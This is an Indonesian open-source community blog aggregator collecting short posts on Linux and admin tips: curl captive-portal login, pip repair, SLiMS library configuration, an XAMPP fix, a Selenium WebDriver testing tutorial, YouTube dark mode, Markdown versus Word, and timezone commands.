Untuk membuka situs web diantaranya menggunakan links, lynx dan curl. Naahh.... Curl ini juga bermanfaat saat untuk mengakses sebuah Captive Portal. Supaya tidak lupa saya catat cara mengakses internet yang menggunakan Captive Portal menggunakan Curl, curl -d "username=UserKamu&Password=PassKamu&submit=Login" --dump-header headers -k https://internet.gratis/login. Perintah ini juga bermanfaat kemarin saat pelatihan di hotel yang menggunakan Captive Portal dan mainan VirtualBox dengan jaringan mesin virtual yang ter-bridge.
by Dedy Hariyadi on 21 Feb 2019 03:26 AM

28 Dec 2018

Liburan Bakal Mengular?

Dedy Hariyadi

Yup, mengular... Sebenarnya ini hanya sekadar judul tentang keresahan setelah sekian lama tidak membuka dan/atau menulis blog. Diawali dengan permasalah pada Python. Tentu bukan ular Python, sekadar logo saja. Mungkin karena kecerobahan saya install sana-sini gak jelas maka saya menjumpai galat semacam ini.
Traceback (most recent call last):
  File "/usr/bin/pip3", line 9, in <module>
    from pip import main
ImportError: cannot import name 'main'
Buka sana-sini tidak ada solusi. Namun, akhirnya menemukan solusinya. Jika menemukan permasalahan seperti diatas maka cukup jalankan perintah sudo python3 -m pip uninstall pip && sudo apt install python3-pip --reinstall.

Selamat berlibur....
by Dedy Hariyadi on 28 Dec 2018 08:26 AM

26 Dec 2018

Hello world!

Anwar Purnomo

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

by Anwar Purnomo on 26 Dec 2018 03:51 AM

03 Dec 2018

Ini karena kemarin ada kawan yang bertanya. Bertanya tentang bagaimana memunculkan semua daftar GMD yang ada dalam opsi Advanced Search pada OPAC SLiMS. Dalam opsi Advanced Search pada SLiMS, ada beberapa ruas pencarian yang memunculkan daftar. Mereka adalah ruas "Collection Type," ruas GMD, dan ruas "Location."
Gambar 1. Tampilan Advanced Search

Ruas-ruas tersebut didesain untuk menampilkan isian yang sudah didefinisikan sebelumnya di dalam laman admin/login pustakawan pada SLiMS.

Untuk kasus kawan saya, ada beberapa data isian yang tidak muncul dalam ruas tersebut. Ruas GMD. Kawan saya mendefinisikan isian ruas GMD sebanyak lebih dari 50 isian. Ya, pengisian ruas-ruas tersebut memang bisa disesuaikan dengan kebutuhan dari pengguna SLiMS. Tidak kaku.

Ternyata, setelah diselidiki, ruas-ruas tersebut telah dibatasi sampai jumlah tertentu untuk menampilkan data isian ruas. Dalam hal ini, jumlah yang dapat ditampilkan hanya sampai 50 isian. Darimana kita bisa tahu jumlah pembatasan tersebut? Dari berkas yang namanya "common.inc.php" Berkas ini berada di dalam direktori lib/contents. Contohnya dapat dilihat pada baris kode di bawah:

Perhatikan baris ke-4 dengan isi "LIMIT 50." Untuk memunculkan sebanyak-banyaknya isian ruas, silahkan tambahkan jumlah yang didefinisikan atau hapus saja bagian tersebut. Dengan menghapus bagian tersebut, maka sebanyak apapun isian ruas yang dimasukkan, maka akan dimunculkan dalam opsi Advanced Search. Silahkan dilihat lagi bagian kode lainnya apabila diperlukan untuk dirubah.

Semoga membantu dan selalu semangat!

Rekan diskusi:
by Arif Syamsudin on 03 Dec 2018 08:29 AM

26 Nov 2018

Jadi begini, saya sudah pernah menjelaskan dalam tulisan saya sebelumnya, bahwa apabila Anda, pengguna SLiMS/Senayan portabel dan mengalami kesulitan dalam mengakses pangkalan data menggunakan PHPMyAdmin, maka cara yang dilakukan adalah dengan mengubah konfigurasi porta yang digunakan oleh MySQL.

Dalam hal modifikasi porta, SLiMS/Senayan Portabel menggunakan porta 3404 untuk aplikasi pslims dan porta 3307 untuk aplikasi psenayan. Perubahan porta ini dilakukan untuk mengantisipasi pemasangan aplikasi SLiMS/Senayan Portabel pada mesin yang sudah memiliki sesi aktif layanan web dan pangkalan data. Secara baku, porta yang digunakan oleh layanan web adalah 80 (SLiMS/Senayan Portabel menggunakan porta 8089) dan pangkalan data (dalam hal ini MySQL) menggunakan porta 3306.

Apabila kita menggunakan cara yang telah saya jelaskan sebelumnya, maka niat awal membangun aplikasi yang portabel (mudah dipindahkan dan tidak mengganggu layanan aplikasi lainnya) seakan mubazir dan tidak memberikan solusi secara permanen. Untuk itu, bagi para pengguna lama Senayan Portabel 7 Cendana namun mengalami kesulitan ketika ingin mengakses pangkalan data menggunakan PHPMyAdmin, maka yang musti dilakukan adalah, mendefinisikan porta MySQL yang digunakan dalam berkas php.ini.

Dalam berkas tersebut, cari baris ini:
kemudian tambahkan porta yang digunakan oleh aplikasi Senayan Portabel 7 Cendana, yaitu 3307:
mysql.default_port = 3307
Setelah Anda menambahkannya, simpan perubahan yang dilakukan kemudian mula-ulang layanan Apache dan MySQL dari Senayan Portabel 7 Cendana, kemudian coba kembali akses pangkalan data Anda menggunakan PHPMyAdmin.

Jreng! Pada mesin yang saya gunakan sich, berhasil. Semoga Anda juga mendapatkan hal yang sama dengan mesin yang Anda gunakan :D.

Demikian, semoga membantu, semoga memberikan pencerahan. Aplikasi Senayan Portabel 7 Cendana pada GoSLiMS juga sudah diperbarui dengan menyertakan perbaikan pada bagian tersebut. Aplikasi tersebut dapat diunduh di sini:
Selamat mencoba.

Terima kasih kepada rekan diskusi:

  1. Danang Dwijo Kangko;
  2. Indra Sutriadi Pipii. 

by Arif Syamsudin on 26 Nov 2018 02:39 PM

06 Nov 2018

Seperti yang sudah saya tulis sebelumnya, kita dapat menikmati berbagai macam hal yang baik setelah melakukan peningkatan versi sistem operasi. Namun, bukan berarti semuanya akan berjalan dengan baik-baik saja. Contohnya, dan selalu terjadi ketika dilakukan peningkatan versi, adalah XAMPP. Pada peningkatan versi dari GnU/Linux Fedora 27 ke 28, ada masalah terkait versi arsitektur. Permasalah kembali terjadi setelah saya melakukan peningkatan versi dari GnU/Linux Fedora 29 ke 29.

Apa yang menjadi masalah? Kali ini, muncul pesan seperti ini:
error while loading shared libraries
Pustaka berbagi yang bermasalah muncul dalam dua tampilan:

  1. libdll.so.2, ketika saya melakukan pemeriksaan apakah layanan XAMPP sudah jalan atau belum; kemudian
  2. libc.so.d. Muncul ketika saya mencoba menjalankan layanan XAMPP.

Cukup lama sampai akhirnya saya menemukan satu solusi yang...saya juga nggak paham efeknya seperti apa ke depan nanti, tapi pada akhirnya XAMPP yang saya pasangkan bisa berfungsi dengan baik. Solusinya seperti ini:
open /opt/lamp/lamp in text editor

comment line 436:
#export LD_ASSUME_KERNEL=2.2.5

and uncomment 437:
Saya cukup melakukan sampai poin yang saya munculkan di atas. Karena ada satu baris solusi lain yaitu:
or simply insert the correct version of the kernel in line 436:
export LD_ASSUME_KERNEL=3.10.7
Gitu sich. Sejauh ini...mari kita pantau, bagaimana perkembangannya :). Jadi, semua senang, semua riang.

Semoga membantu dan selamat berbagi.

Bahan bacaan:

  1. https://community.apachefriends.org/f/viewtopic.php?f=17&t=60926 


by Arif Syamsudin on 06 Nov 2018 08:18 AM

11 Sep 2018

Aplikasi yang baik adalah aplikasi yang sudah diuji fungsionalitasnya secara ketat untuk memastikan semua fungsionalitasnya berjalan dengan baik. Ada berbagai jenis metode pengujian di dalam pengujian perangkat lunak: unit-testing digunakan untuk menguji ketepatan output/luaran dari suatu fungsi atau model di dalam aplikasi secara internal, integration-testing digunakan untuk menguji kepaduan antara setiap komponen aplikasi, dan masih banyak jenis pengujian lainnya.

Untuk menguji aplikasi berbasis Web, ada beberapa macam pendekatan untuk melakukan pengujian baik unit testing maupun integration testing. Untuk aplikasi yang hanya mengandalkan REST API berbasis JSON, mungkin melakukan pengujian melalui masing-masing endpoint sudah cukup. Namun, untuk aplikasi Web interaktif yang memerlukan interaksi dari pengguna (isi teks, klik tombol), maka satu-satunya cara paling efektif untuk memastikan fungsionalitas dari interaksi berjalan lancar adalah dengan menguji langsung elemen-elemen interaktif dari aplikasi Web. Pengujian interaktifitas aplikasi Web bisa dilakukan melalui medium tester oleh manusia. Namun akan lebih baik jika proses pengujian ini bisa diotomatisasi sehingga bisa dilakukan berulang-ulang dengan cepat. Salah satu kakas/tool yang bisa Anda gunakan untuk melakukan otomatisasi interaksi aplikasi Web adalah Selenium WebDriver (SWD).

SWD menyediakan fasilitas untuk mengontrol suatu peramban Web (web browser) melalui otomatisasi dengan bahasa pemrograman. Pada saat program otomatisasi dijalankan, SWD akan membuka aplikasi peramban Web pilihan pengguna dan melakukan kontrol pada peramban Web tersebut seperti misalnya:

  • Membuka suatu halaman Web di bar alamat/address bar
  • Memilih suatu elemen di halaman menggunakan id, class, name, XPath.
  • Mengisi input pada elemen
  • Melakukan klik pada elemen
  • Menjalankan kode JavaScript (JS) pada halaman Web (termasuk mendapatkan nilai dari variabel JS)
  • Menunggu suatu state (misal, apakah data yang diambil secara AJAX sudah diambil nilainya).

Bahasa pemrograman yang didukung secara resmi oleh Selenium antara lain Java, Python, C#, Perl, JavaScript, Ruby, dan PHP. Sedangkan peramban Web yang bisa digunakan untuk proses otomatisasi antara lain Chrome, Firefox, Opera, Safari dan IE.

Pemasangan SWD untuk Python

CATATAN: Saya asumsikan Anda sudah memahami Python dan seluk beluknya sebelum lanjut

Untuk memasang SWD dengan Bahasa Pemrograman Python, Anda bisa menggunakan pengelola paket PIP untuk memasang paket bernama selenium melalui perintah baris berikut :

$ pip install selenium

Jika Anda ingin menggunakan bahasa pemrograman lain, silahkan merujuk ke pranala berikut.

Pemasangan WebDriver

Sebelum Anda dapat menggunakan SWD, Anda diharuskan untuk memasang WebDriver (WD) yang berfungsi sebagai penghubung antar SWD dengan peramban Web sehingga bisa dikontrol melalui bahasa pemrograman. WD untuk masing-masing peramban Web bisa diunduh melalui pranala lini (di bagian Third Party, Bindings, and Plugins). Tempatkan berkas biner/EXE dari WD ke dalam direktori yang bisa diakses melalui environment variable PATH.

Hello World

Untuk memulai menggunakan SWD dengan Python, silahkan membuka Python Interpreter (melalui perintah python atau ipython di baris perintah) dan mengimpor modul webdriver.

from selenium import webdriver

Kemudian, untuk memulai suatu WD, gunakan perintah berikut:

browser = webdriver.Chrome() # Untuk WD berbasis Chrome
browser = webdriver.Firefox() # Untuk WD berbasis Firefox

Seketika juga, Anda akan melihat aplikasi peramban Web muncul di layar. Anda sekarang bisa mengendalikan interaksi ke peramban Web baik secara langsung melalui peramban Web tersebut ATAU melalui kode program di melalui interpreter Python yang Anda gunakan.

Untuk membuka suatu halaman Web melalui interpreter Python, gunakan kode berikut (misal, jika Anda ingin membuka situs Google):


Maka peramban Web akan diarahkan ke situs yang dituju. Interpreter akan menunggu sampai halaman benar-benar dimuat secara penuh (document ready) sehingga Anda tidak perlu membuat kode untuk menunggu secara eksplisit.

Memilih suatu elemen

Untuk melakukan interaksi pada suatu elemen halaman Web, SWD menyediakan fungsi pencarian elemen (dan elemen jamak) menggunakan beberapa kueri: id dari elemen, class dari elemen, name dari elemen dan masih banyak lagi. Anda dapat menggunakan bantuan fitur Inspect Element (dengan menekan tombol F12 pada peramban Web) di Google Chrome atau Developer Tools di Mozilla Firefox untuk melakukan pengecekan nama id, class, name dari suatu elemen halaman Web.

Untuk melakukan pencarian sebuah elemen, Anda dapat menggunakan contoh perintah kode berikut:

kotak_cari = browser.find_element_by_name("q")  # Kotak pencarian
tombol_cari = browser.find_element_by_name("btnK") # Tombol "Penelusuran Google"
semua_input = browser.find_elements_by_tag_name("input") # Semua elemen dengan tag <input>
bahasa_google = browser.find_element_by_class_name("Q8LRLc") # Penunjuk nama bahasa di pojok kiri bawah

PERHATIAN: Jika Anda menggunakan fungsi dengan awalan find_element_* (element tanpa akhiran s), Anda harus memastikan bahwa id, class, atau properti elemen yang dicari memang ADA di halaman yang dibuka. Jika tidak, SWD akan melempar sebuah Exception.

Anda kemudian bisa menggunakan variabel luaran dari masing-masing fungsi find_element* (kita sebut variabel ini sebagai variabel elemen) untuk melihat properti DOM elemennya dengan menggunakan contoh kode berikut:

tombol_cari.get_attribute("value") # Hasil: "Penelusuran Google"

Anda juga bisa melakukan pencarian elemen kembali secara rekursif melalui suatu variabel elemen jika memang dibutuhkan:

body = browser.find_element_by_id("main").find_element_by_name("body")

Hanya saja, Anda tidak bisa melakukan manipulasi nilai DOM melalui fungsi bawaan SWD. Anda hanya bisa melakukan manipulasi nilai DOM dengan mengeksekusi suatu kode Javascript. Penjelasan mengenai eksekusi kode Javascript dijelaskan pada sub-bagian bawah.

Interaksi pada elemen

Anda dapat melakukan entri input dengan mensimulasikan entri tombol papan ketik ke suatu variabel elemen melalui perintah .send_keys seperti contoh penggunaan berikut:

kotak_cari.send_keys("Selenium Web Driver xx")

Anda juga bisa mensimulasikan tombol papan ketik khusus seperti berikut:

from selenium.webdriver.common.keys import Keys
kotak_cari.send_keys(Keys.BACKSPACE + Keys.BACKSPACE)

Untuk melakukan klik tombol, gunakan perintah .click atau .submit pada suatu variabel elemen seperti berikut:

tombol_cari.click() # Simulasi klik tombol "Penelusuran Google"
kotak_cari.submit() # Simulasi proses Submit


SWD menyediakan suatu fitur untuk mengeksekusi suatu JavaScript pada halaman yang sedang dibuka. Untuk melakukan hal ini, Anda dapat memanggil fungsi .execute_script melalui Web Driver dan mencantumkan snippet kode Javascript yang Anda ingin eksekusi. Anda dapat memasukkan lebih dari satu baris perintah JavaScript dengan membatasi tiap baris dengan tanda ;. Anda juga dapat mengambil nilai variabel dari Javascript ke dalam Python dengan menambahkan penanda return di sebelah kiri perintah/nama variabel.

Berikut adalah contoh penggunaan eksekusi skrip:

browser.execute_script("alert(0)")  # Menampilkan alert
browser.execute_script("document.getElementsByName('q')[0].setAttribute('value','Selenium Web Driver'") # Set value dari kotak pencarian
isi_pencarian = browser.execute_script("return document.getElementsByName('q')[0].getAttribute('value')") # Ambil value dari kotak pencarian

Agar proses pengujian bisa dilakukan secara terprediksi, Anda dapat melakukan proses penungguan suatu state (bisa berupa state di DOM atau Javascript) melalui fitur Explicit Wait yang ada di SWD. Untuk membuat suatu Explicit Wait, Anda bisa membuat sebuah fungsi lambda di Python yang menghasilkan nilai true jika keadaan yang diharapkan tercapai, dan nilai false jika keadaan yang diharapkan belum tercapai dan program harus melakukan penungguan. Berikut adalah contoh kode-nya (untuk timeout 10 detik):

from selenium.webdriver.support.ui import WebDriverWait

## Tunggu sampai kotak pencarian berisi tulisan "Sesuatu"
## Jika lebih dari 10 detik tidak tercapai, lembar Exception
WebDriverWait(browser, 10).until(lambda x: return browser.execute_script("return document.getElementsByName('q')[0].getAttribute('value')") == "Sesuatu")


Di atas sudah dibahas mengenai cara dan contoh penggunaan Selenium Web Driver (SWD) untuk melakukan otomatisasi pengujian dan interaksi aplikasi Web menggunakan Python. Sebenarnya ada beberapa fitur Selenium yang sangat mumpuni namun belum dibahas di artikel ini.

Selain menawarkan otomatisasi melalui skrip, Anda juga bisa menggunakan Selenium IDE untuk membuat skrip otomatisasi langsung melalui peramban Web tanpa melalui coding. Selenium IDE mungkin akan saya di artikel blog saya selanjutnya.

Akhir kata, semoga artikel ini bermanfaat bagi Anda semua.

by Putu Wiramaswara Widya on 11 Sep 2018 12:25 PM

09 Sep 2018

Dark Mode itu keren lo, benar-benar fitur yang dibutuhkan banget.

— Wira di saat berbaring gelap gelapan sambil Youtube an

Coba Anda rasakan ketika Anda menggunakan komputer dengan aplikasi yang kebanyakan menggunakan latar belakang berwarna putih. Tentu saja menyilaukan dan melelahkan mata jika digunakan dalam waktu yang lama.

Sistem operasi modern baik di komputer dan mobile mulai menawarkan fitur yang membuat pengguna nyaman melihat layar. Salah satu fitur tersebut adalah night light yang menguningkan sedikit layar sehingga tetap enak. Namun fitur yang benar-benar ditunggu-tunggu sebenarnya adalah dark mode yang mengubah latar belakang aplikasi yang umumnya putih menjadi hitam bak High Contrast Mode. Walaupun fitur ini sangat dibutuhkan di berbagai aplikasi, kebanyakan OS atau aplikasi belum menyediakannya karena alasan sederhana: mengubah warna dari putih ke hitam atau abu-abu gelap tidak sesederhana menginversi warna layar, tetapi juga harus membuat UI tetapi terbaca dengan palet warna yang tetap pas. Windows baru menyediakan fitur ini untuk aplikasi Modern UI saja, Android baru menyediakan beberapa aplikasi yang mendukung dark mode secara sporadis, macOS baru-baru ini menyediakan fitur gelap yang near universal melalui versi Mojave.

Dan akhirnya, kembali ke topik artikel ini yaitu Youtube yang akhirnya (walaupun sangat telat) menyediakan dark mode di versi 13.35.51. Anda dapat mengaktifkannya melalui Setelan Umum / General.

Sayangnya, fitur dark mode ini harus dihidupkan/dimatikan secara manual. Tidak ada mekanisme untuk mengubah tema gelap/terang secara otomatis berdasarkan jam. Setahu saya baru Nova Launcher dan 9GAG Pro yang menyediakan fitur tersebut. Akhir kata, semoga dark mode ini bisa diadopsi secara universal, demi mata yang sehat.

by Putu Wiramaswara Widya on 09 Sep 2018 03:26 PM

Jaman dahulu kala, ketika Anda harus membuat dokumen di komputer menggunakan aplikasi WordStar yang berjalan di atas DOS, Anda harus membayang-bayangkan dan mereka-reka seperti apa bentuk dokumen yang dibuat ketika nantinya dicetak menggunakan printer dot matrix yang suaranya menyakitkan telinga itu. Pasalnya, teknologi komputer saat itu hanya mampu menampilkan sekumpulan teks di dalam matriks sebesar 25 baris x 80 kolom dengan jumlah warna yang bisa dihitung jari. Zaman itu komputer mainstream (komputer berbasis IBM PC berbasis DOS, tidak termasuk Macintosh yang kala itu sudah canggih) kebanyakan belum memiliki kemampuan me-render grafik berbasis raster (warna pada titik piksel dengan resolusi VGA/SVGA), sehingga bentuk font, ketebalan, miring, warna, dsb tidak bisa direpresentasikan ke layar.

WordStar zaman DOS

Sekian dekade kemudian dan kita sudah tidak asing dengan Microsoft Word dan aplikasi sejenis lainnya, yang mana melalui konsep WYSIWYG (What You See Is What You Get)-nya bisa menampilkan isi dokumen apa adanya seperti bentuk cetaknya. Tidak perlu lagi pusing dengan tanda markup semacam ^B, ^S, dan ^Y, segala tulisan, tabel, gambar ditampilkan apa adanya berkat kemampuan grafis raster yang ada di komputer modern.

Untuk mayoritas orang, aplikasi pengolah dokumen modern sudah cukup untuk memenuhi kebutuhan mereka (misalnya) dalam aktivitas membuat laporan, tugas sekolah, dan aktivitas lainnya. Pengguna hanya cukup mengetik, memberi format, menempelkan tabel dan gambar dan yang lebih canggih lagi bisa menggambar objek ilustrasi di dalamnya.

Namun taukah Anda, ada beberapa pihak yang tidak sreg dengan konsep penulisan secara WYSIWYG seperti misalnya akademisi (yang keukeuh menggunakan LaTeX dan variannya), penulis Wiki (yang punya bahasa penulisan sendiri) dan pengembang perangkat lunak (yang entah kenapa kebanyakan benci menulis laporan dengan MS Word). Mereka justru lebih sreg untuk menulis dengan teks editor (semacam Notepad), dan menulis segala bentuk formatting dalam bentuk Markup seperti layaknya zaman WordStar yang saya ceritakan di awal. Apakah mereka terlalu kolot untuk tetap mempertahankan “tradisi” sehingga mereka konservatif dalam teknologi, atau apakah ada alasan praktis dibalik keengganan mereka untuk menggunakan MS Word? Ternyata ada. Menurut saya, ada beberapa alasan praktis mereka dibalik itu semua:

  • Dibalik kemudahan penggunaannya, MS Word menggunakan format yang sangat ribet berbasis XML yang membuat penggunanya mau tidak mau harus lock-in menggunakan aplikasi MS Word atau aplikasi lain yang mendukung format ini (semoga saja Anda sukses membuka dokumen MS Word di LibreOffice dan sebaliknya tanpa formatnya berantakan /s)
  • Akademisi, Penulis Wiki dan Pengembang Perangkat Lunak membutuhkan KONSISTENSI baik dari segi struktur dan format dalam penulisan dokumen. Aplikasi pengolah kata WYSIWYG memungkinkan pengguna untuk menulis dengan format sesukanya sehingga aspek konsistensi ini susah untuk ditegakkan.
  • PLUS: Mereka-mereka ini umumnya tidak mau ribet masalah formatting. Mereka hanya ingin menulis tanpa memikirkan bagaimana tulisannya ditampilkan. Yang penting rapi dan konsisten.

Kadangkala, ada saatnya dimana menggunakan MS Word dan aplikasi pengolah kata WYSIWYG lainnya cenderung kontra-produktif. Misalnya ketika Anda menulis skripsi, ada beberapa kala ketika Anda harus mencurahkan sebagian besar waktu Anda untuk melakukan formating manual beberapa bagian teks karena misalnya: penggalan kata yang tidak pas, posisi gambar yang tidak cocok, penulisan paragraf tidak konsisten, dan masih banyak lagi. Mungkin saja hal-hal tersebut bisa dihindari dengan memanfaatkan fitur styling yang baik sejak awal. Namun masalahnya, tidak semua orang menggunakan fitur ini dengan baik karena tidak ada pengetatan sejak awal.

Saya sendiri termasuk mereka-mereka yang lumayan sering menggunakan MS Word dan LibreOffice Writer untuk menulis laporan ke stakeholder. Namun, untuk kebutuhan lainnya seperti menulis blog, menulis diari, catatan kuliah, thesis, skripsi, menulis dokumentasi perangkat lunak, dsb saya benar-benar menghindari penggunaan aplikasi berbasis WYSIWYG karena alasan sederhana: ingin fokus menulis tanpa terdistraksi oleh formating. Untuk penulisan dokumen ilmiah, saya tidak pernah meragukan LaTeX yang membuat dokumen saya rapi dan konsisten. Pada saat saya skripsi S1, saya menyempatkan membuat templat LaTeX skripsi sesuai dengan format dari kampus (https://github.com/initrunlevel0/buku-ta-its-xelatex) sehingga bisa digunakan oleh angkatan bawah. Untuk menulis tulisan lainnya, saya mempercayakan Markdown yang fiturnya semakin canggih berkat dukungan di berbagai platform seperti Worpress (blogging) dan Github/Gitlab (pengembangan perangkat lunak). Saya juga menulis segala catatan dan diari terkait keseharian saya melalui Markdown menggunakan IDE bernama Typora (https://typora.io/) dan disinkronisasikan melalui Dropbox (bye bye OneNote~).

Akhir kata, tidak ada salahnya untuk belajar hal baru. Ada kalanya sesuatu yang terkesan old lebih efisien karena sederhana.

by Putu Wiramaswara Widya on 09 Sep 2018 02:54 PM

Halo Dunia

Putu Wiramaswara Widya

Selamat datang di blog saya yang sudah berkali-kali dihapus dan di-install ulang ini. Mohon maaf karena ketidakkonsistenan saya, sehingga artikel-artikel di blog lama menjadi hilang tak berbekas.

Dengan dunia baru dan karir baru yang saya alami sekarang, saya akan memulai sering menulis lagi tentang segala hal, yang saya senangi.

Sekian dari saya.

by Putu Wiramaswara Widya on 09 Sep 2018 02:04 PM

24 Aug 2018

When you want to adjust the date and time on Debian/Ubuntu system you can just type this command
$ sudo dpkg-reconfigure tzdata

But, if you use openSUSE, to adjust the date and time just simply run the following command
$ sudo yast2 timezone

Select the region and timezone then press F10/OK, and you're done.
Reference: goo.gl/KLDALY
by Darmanex on 24 Aug 2018 10:42 AM